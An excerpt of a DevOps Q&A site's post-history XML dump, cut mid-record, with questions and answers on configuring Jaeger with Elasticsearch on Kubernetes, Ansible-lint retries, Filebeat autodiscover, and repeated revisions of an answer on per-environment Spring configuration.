28m&#xD;&#xA;    zipkin             ClusterIP      None          &lt;none&gt;        9411/TCP                              12m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;According to the [Jaeger architecture][2], the Jaeger Collector and Query services require access to backend storage. &#xD;&#xA;&#xD;&#xA;My purpose is setup elasticsearch like backend storage, due to this, I follow the [jaeger-kubernetes][3] github documentation to add it, and I proceed to create a template to elastic backend storage from the following `.yaml` files:&#xD;&#xA;&#xD;&#xA;With the `configmap.yml` we are configuring the URLs to access to elasticsearch server and username and password and ports.&#xD;&#xA; &#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/configmap.yml&#xD;&#xA;    configmap/jaeger-configuration created&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;And with the `elasticsearch.yml` we are downloading of docker images of the elasticsearch service and setup their volume mounts. (I think so ...)&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/elasticsearch.yml&#xD;&#xA;    statefulset.apps/elasticsearch created&#xD;&#xA;    service/elasticsearch created&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And then, at this moment I have a `elasticsearch` service running over 9200 and 9300 ports:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get service elasticsearch                                                                                                    &#xD;&#xA;    NAME            TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE&#xD;&#xA;    elasticsearch   ClusterIP   None         &lt;none&gt;        9200/TCP,9300/TCP   14m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;     &#xD;&#xA;And these are my services running on my kubernetes cluster:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get services                                                                                                                 &#xD;&#xA;    NAME               TYPE           CLUSTER-IP    EXTERNAL-IP   PORT(S)                               AGE&#xD;&#xA;    elasticsearch      ClusterIP      None          &lt;none&gt;        9200/TCP,9300/TCP                     1m&#xD;&#xA;    jaeger-agent       ClusterIP      None          &lt;none&gt;        5775/UDP,6831/UDP,6832/UDP,5778/TCP   2d&#xD;&#xA;    jaeger-collector   ClusterIP      10.3.240.52   &lt;none&gt;        14267/TCP,14268/TCP,9411/TCP          2d&#xD;&#xA;    jaeger-query       LoadBalancer   10.3.251.46   35.232.88.2   80:30283/TCP                          2d&#xD;&#xA;    kubernetes         ClusterIP      10.3.240.1    &lt;none&gt;        443/TCP                               2d&#xD;&#xA;    zipkin             ClusterIP      None          &lt;none&gt;        9411/TCP                              2d&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;My objective is setup the elasticsearch to jaeger in order to have persistent storage. But I am checking my elastic service and I cannot see the endpoint URL to access it.&#xD;&#xA;This elasticsearch service does not have external-ip address&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get service elasticsearch                                                                                                    &#xD;&#xA;    NAME            TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE&#xD;&#xA;    elasticsearch   ClusterIP   None         &lt;none&gt;        9200/TCP,9300/TCP   14m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;Until here, I've setup the elasticsearch service on my cluster, but I need setup the elasticsearch URL on jaeger configuration. &#xD;&#xA;&#xD;&#xA;Then, the kubernetes templates github guide point me to execute the `kubectl edit configmap jaeger-configuration` command in order to create a configmap file to that jaeger collector, query and agent can exist on the same namespace.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I execute it:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl edit configmap jaeger-configuration &#xD;&#xA;&#xD;&#xA;And I get the following edit entry:&#xD;&#xA;    &#xD;&#xA;    apiVersion: v1&#xD;&#xA;    data:&#xD;&#xA;      agent: |&#xD;&#xA;        collector:&#xD;&#xA;          host-port: &quot;jaeger-collector:14267&quot;&#xD;&#xA;      collector: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;        collector:&#xD;&#xA;          zipkin:&#xD;&#xA;            http-port: 9411&#xD;&#xA;      query: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;      span-storage-type: elasticsearch&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: &quot;2018-12-24T09:07:21Z&quot;&#xD;&#xA;      labels:&#xD;&#xA;        app: jaeger&#xD;&#xA;        jaeger-infra: configuration&#xD;&#xA;      name: jaeger-configuration&#xD;&#xA;      namespace: default&#xD;&#xA;      resourceVersion: &quot;438182&quot;&#xD;&#xA;      selfLink: /api/v1/namespaces/default/configmaps/jaeger-configuration&#xD;&#xA;      uid: 52327992-075b-11e9-bc96-42010a8000b1&#xD;&#xA;&#xD;&#xA;Here do we need setup our own URLs to collector and query services, which will be connect wiht elasticsearch backend service?&#xD;&#xA;&#xD;&#xA;How to can I setup the elasticsearch IP address or URLs here?&#xD;&#xA;&#xD;&#xA;In the jaeger components, the query and collector need access to storage, but I don't know what is the elastic endpoint ... &#xD;&#xA;&#xD;&#xA;Is this `server-urls: http://elasticsearch:9200` a correct endpoint?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am starting in the kubernetes and DevOps world, and I appreciate if someone can help me in the concepts and point me in the right address in order to setup jaeger and elasticsearch as a backend storage.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jaegertracing/jaeger-kubernetes#development-setup&#xD;&#xA;  [2]: https://eng.uber.com/distributed-tracing/&#xD;&#xA;  [3]: https://github.com/jaegertracing/jaeger-kubernetes#backing-storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="18667" PostHistoryTypeId="50" PostId="4044" RevisionGUID="c04e4783-6dcb-42b4-ad69-a68a01815437" CreationDate="2018-12-25T13:01:05.197" UserId="-1" />
  <row Id="18668" PostHistoryTypeId="50" PostId="4817" RevisionGUID="392c4ce6-467b-4e4c-b843-49aa26c37b62" CreationDate="2018-12-25T17:01:20.790" UserId="-1" />
  <row Id="18669" PostHistoryTypeId="2" PostId="5828" RevisionGUID="5bcc7830-c2f9-4216-ad9e-b57826f70730" CreationDate="2018-12-25T17:09:37.577" UserId="9602" Text="I ended up using stolon for its automatic leader election and fail over handling.&#xD;&#xA;Crunchy Data offers small building blocks so there is a lot of work to do to put them all together while stolon has a ready helm chart.&#xD;&#xA;But I didn't try patroni since stolon worked just fine. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18670" PostHistoryTypeId="50" PostId="5061" RevisionGUID="355a5bcd-7a12-4e48-9439-d8325c423211" CreationDate="2018-12-25T18:01:35.263" UserId="-1" />
  <row Id="18671" PostHistoryTypeId="50" PostId="3953" RevisionGUID="b0a7e52d-7e65-41c5-901e-aad65a2823d5" CreationDate="2018-12-25T22:02:50.633" UserId="-1" />
  <row Id="18672" PostHistoryTypeId="2" PostId="5829" RevisionGUID="ef83029c-1243-45d0-abc4-77dff3c6f312" CreationDate="2018-12-26T00:18:46.443" UserId="210" Text="https://github.com/ansible/ansible-lint/blob/master/docs/docsite/rst/rules/default_rules.rst&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; E405 	v4.0.0 	Remote package tasks should have a retry 	Package&#xD;&#xA;&gt; operations are unreliable as they require network communication and&#xD;&#xA;&gt; the availability of remote servers. To mitigate the potential&#xD;&#xA;&gt; problems, retries should be used via register: my_result and until:&#xD;&#xA;&gt; my_result | success&#xD;&#xA;&#xD;&#xA;How to solve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18673" PostHistoryTypeId="1" PostId="5829" RevisionGUID="ef83029c-1243-45d0-abc4-77dff3c6f312" CreationDate="2018-12-26T00:18:46.443" UserId="210" Text="How to solve &quot;E405: Remote package tasks should have a retry&quot; in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18674" PostHistoryTypeId="3" PostId="5829" RevisionGUID="ef83029c-1243-45d0-abc4-77dff3c6f312" CreationDate="2018-12-26T00:18:46.443" UserId="210" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18675" PostHistoryTypeId="50" PostId="5203" RevisionGUID="2b62dd86-6154-41c3-925e-39cadfde5909" CreationDate="2018-12-26T05:00:45.147" UserId="-1" />
  <row Id="18680" PostHistoryTypeId="50" PostId="5237" RevisionGUID="06fcb76c-280f-4d6d-bf24-6cba81e586ec" CreationDate="2018-12-26T11:00:36.857" UserId="-1" />
  <row Id="18682" PostHistoryTypeId="2" PostId="5831" RevisionGUID="e8dd7666-5f2b-4795-9ca4-a13dd71c2940" CreationDate="2018-12-26T14:25:34.420" UserId="11538" Text="I need receive all container log and i using filebeat autodiscover. When I deployed Filebeat  to Kubernetes without using helm I got all the container logs in the first time. I want to do the same with helm. However, because I applied a very complex configuration, I cannot receive the log files of all containers, PodList return just this node container log. I can't find out how I did it on my first try. The first option that came to my mind was to give the serviceaccount a cluster-admin role. but I could not access all the log files again when I tried it.&#xD;&#xA;&#xD;&#xA; How to access all container log list using Filebeat Autodiscover? (DEAMONSET IS A BAD SOLUTION)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat-config&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    data:&#xD;&#xA;      filebeat.yml: |-&#xD;&#xA;        filebeat.autodiscover:&#xD;&#xA;          providers:&#xD;&#xA;            - type: kubernetes&#xD;&#xA;              templates:&#xD;&#xA;                - condition:&#xD;&#xA;                    equals:&#xD;&#xA;                      kubernetes.namespace: bau&#xD;&#xA;                  config:&#xD;&#xA;                    - type: docker&#xD;&#xA;                      containers.ids:&#xD;&#xA;                        - &quot;${data.kubernetes.container.id}&quot;&#xD;&#xA;        output.elasticsearch:&#xD;&#xA;          hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']&#xD;&#xA;        setup.template.settings:&#xD;&#xA;          index.number_of_shards: 5&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    roleRef:&#xD;&#xA;      kind: ClusterRole &#xD;&#xA;      name: cluster-admin &#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    spec:&#xD;&#xA;      serviceAccountName: filebeat&#xD;&#xA;      containers:&#xD;&#xA;      - name: filebeat&#xD;&#xA;        image: &quot;10.6.155.20:5000/filebeat:6.5.3&quot;&#xD;&#xA;        args: [&#xD;&#xA;          &quot;-c&quot;, &quot;/etc/filebeat.yml&quot;,&#xD;&#xA;          &quot;-e&quot;,&#xD;&#xA;        ]&#xD;&#xA;        env:&#xD;&#xA;        - name: ELASTICSEARCH_HOST&#xD;&#xA;          value: bau-sla-elasticsearch&#xD;&#xA;        - name: ELASTICSEARCH_PORT&#xD;&#xA;          value: &quot;9200&quot;&#xD;&#xA;        securityContext:&#xD;&#xA;          runAsUser: 0&#xD;&#xA;          fsGroup: 2000&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            memory: 200Mi&#xD;&#xA;          requests:&#xD;&#xA;            cpu: 100m&#xD;&#xA;            memory: 100Mi&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: config&#xD;&#xA;          mountPath: /etc/filebeat.yml&#xD;&#xA;          readOnly: true&#xD;&#xA;          subPath: filebeat.yml&#xD;&#xA;        - name: data&#xD;&#xA;          mountPath: /usr/share/filebeat/data&#xD;&#xA;        - name: varlibdockercontainers&#xD;&#xA;          mountPath: /var/lib/docker/containers&#xD;&#xA;          readOnly: true&#xD;&#xA;      volumes:&#xD;&#xA;      - name: config&#xD;&#xA;        configMap:&#xD;&#xA;          defaultMode: 0600&#xD;&#xA;          name: filebeat-config&#xD;&#xA;      - name: varlibdockercontainers&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/docker/containers&#xD;&#xA;      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart&#xD;&#xA;      - name: data&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/filebeat/bau&#xD;&#xA;          type: DirectoryOrCreate&#xD;&#xA;    ---" ContentLicense="CC BY-SA 4.0" />
  <row Id="18683" PostHistoryTypeId="1" PostId="5831" RevisionGUID="e8dd7666-5f2b-4795-9ca4-a13dd71c2940" CreationDate="2018-12-26T14:25:34.420" UserId="11538" Text="How to get all log files on kubernetes master node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18684" PostHistoryTypeId="3" PostId="5831" RevisionGUID="e8dd7666-5f2b-4795-9ca4-a13dd71c2940" CreationDate="2018-12-26T14:25:34.420" UserId="11538" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18691" PostHistoryTypeId="50" PostId="4189" RevisionGUID="81db673a-6810-46c8-8b8d-6c47388cb41f" CreationDate="2018-12-26T17:03:25.773" UserId="-1" />
  <row Id="18693" PostHistoryTypeId="50" PostId="3177" RevisionGUID="e3b5a9c9-2d97-468c-9655-76442af9ba29" CreationDate="2018-12-26T22:01:00.170" UserId="-1" />
  <row Id="18694" PostHistoryTypeId="50" PostId="2536" RevisionGUID="488fba41-143a-4b64-ac3a-86284d5a8528" CreationDate="2018-12-26T23:00:06.907" UserId="-1" />
  <row Id="18695" PostHistoryTypeId="2" PostId="5833" RevisionGUID="2bd5e720-4a69-4f75-8521-83e5fa6bf66a" CreationDate="2018-12-26T23:09:54.590" UserId="10599" Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply promoted between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach which is to define every single property as an environment variable and have spring just use them. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySoruce` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will be set from the environment variable of the same name. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, docker) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][2] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) in it's own separate git repo. You can then set things up so that you can have a deploy job setup to trigger on any changes to the configuration repo that can pushes out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent to the continuous deployment of application code.  &#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18696" PostHistoryTypeId="5" PostId="5833" RevisionGUID="36a577c8-c3e0-463c-b0fe-08a8d5021c74" CreationDate="2018-12-26T23:16:29.310" UserId="10599" Comment="deleted 2 characters in body" Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach which is to define every single property as an environment variable and have spring just use them. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySoruce` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will be set from the environment variable of the same name. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, docker) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][2] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) in it's own separate git repo. You can then set things up so that you can have a deploy job setup to trigger on any changes to the configuration repo that can pushes out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent to the continuous deployment of application code.  &#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18697" PostHistoryTypeId="5" PostId="5833" RevisionGUID="09b44e15-baf9-4a3a-a6d2-2e1e8995d532" CreationDate="2018-12-26T23:21:35.577" UserId="10599" Comment="deleted 2 characters in body" Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach and define every single property as an environment variable and have spring just use them directly. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySource` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will can set from the environment variable of the [same name but using all caps][2]. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, swarm) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][3] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) in it's own separate git repo. You can then set things up so that you can have a deploy job setup to trigger on any changes to the configuration repo that can pushes out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent to the continuous deployment of application code.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/9063515/329496&#xD;&#xA;  [2]: http://mrhaki.blogspot.com/2015/09/spring-sweets-setting-configuration.html&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="18698" PostHistoryTypeId="5" PostId="5833" RevisionGUID="80c73330-4173-4553-b073-55796fff9896" CreationDate="2018-12-26T23:28:24.050" UserId="10599" Comment="deleted 2 characters in body" Text="The typical approach is to use a folder per environment that contains identically named files: &#xD;&#xA;&#xD;&#xA;    conf/dev/application.properties&#xD;&#xA;    conf/test/application.properties&#xD;&#xA;    conf/uat/application.properties&#xD;&#xA;    conf/prod/application.properties&#xD;&#xA;&#xD;&#xA;Then parameterize the @PropertySource to use an  environment variable such as &quot;env&quot;: &#xD;&#xA;&#xD;&#xA;    @PropertySource(&quot;file:${catalina.base}/conf/${env}/application.properties&quot;) &#xD;&#xA;&#xD;&#xA;Now you simply need to ensure that in each environment there is an environment variable defined called &quot;env&quot; that is set correctly (i.e, dev, test, uat or prod). You haven't stated how your launch your application (j2ee server launch script on linux? springboot docker container?) but it shouldn't be a problem to set the environment variable in each environment. &#xD;&#xA;&#xD;&#xA;Rather than load files from &quot;${catalina.base}&quot; you can load files from the classpath with something like: &#xD;&#xA;&#xD;&#xA;    // see https://stackoverflow.com/a/26387933/329496&#xD;&#xA;    @PropertySource(&quot;classpath:${env}/application.properties&quot;)&#xD;&#xA;&#xD;&#xA;If you are building with maven you can create the folders under `src/main/resources` and they will be [copied into the classpath][1]: &#xD;&#xA;&#xD;&#xA;    src/main/resources/dev/application.properties&#xD;&#xA;    src/main/resources/test/application.properties&#xD;&#xA;    src/main/resources/uat/application.properties&#xD;&#xA;    src/main/resources/prod/application.properties&#xD;&#xA;&#xD;&#xA;That simplified things quite a lot. Jenkins doesn't need to do anything at all as the same build/release artefact can be run in any and every environment. It is usually an anti-pattern to have Jenkins have to do extra work to reconfigure an application to work in a particular environment. Rather you should aim to have a single Jenkins release job build an artefact that can be simply copied between environments.   &#xD;&#xA;&#xD;&#xA;There is one downside to such an approach. If you want to create a new environment you have to add a new file into source control and create a new release artefact. With legacy technologies setting up new environments is a lot of work (e.g., commissioning VMs and databases) such that this &quot;extra step&quot; of adding a file to the code doesn't seem like a problem. &#xD;&#xA;&#xD;&#xA;With more modern cloud-native technologies like Kubernetes, you can set up environments in seconds, and &quot;on-demand&quot;. In which case you don't want to be pre-specifying your environments within your codebase. Rather you should follow a [12factor.net](http://12factor.net) approach and define every single property as an environment variable and have spring just use them directly. If you look at the current [springboot documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html) it uses environment variables by default. This means if you haven't defined a `@PropertySource` but you are using things like: &#xD;&#xA;&#xD;&#xA;    @Value(&quot;${name}&quot;)&#xD;&#xA;    private String name;&#xD;&#xA;&#xD;&#xA;they will can set from the environment variable of the [same name but using all caps][2]. This then moves the problem to &quot;how do we make sure that the environment variables are correctly set up in each environment&quot;. Technologies that make it easy to spin up environments in seconds (kubernetes, cloudfoundry, swarm) also typically make it easy to manage environment variables. With kubernetes you create a &quot;ConfigMap&quot; (e.g. &quot;my-app-properties&quot;) and have [it mounted as the environment variables][3] for the application. Each environment can then be a separate namespace (possibly on a shared cluster for dev/test but a dedicated cluster for prod) that has its own &quot;my-app-properties&quot; configuration object. &#xD;&#xA;&#xD;&#xA;You can put these settings under source control but not in the application source repo. Rather you can take an &quot;infrastructure as code&quot; approach where everything that runs the application (e.g., all scripts and yaml to set up the environments) in it's own separate git repo. You can then set up a configuration deploy job that is triggered by a git webhook on the configuration repo. This can push out the new environment variables. That allows you to have continuous deployment of configuration changes that are independent of the continuous deployment of application code. &#xD;&#xA;&#xD;&#xA;If you are using Kubernetes then Helmfile is an excellent choice for that is it won't update anything in kubernetes that hasn't changed. This means it is safe to reapply all the configuration in the git repo on every push to a protected master branch as it will only update objects that need to be updated. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 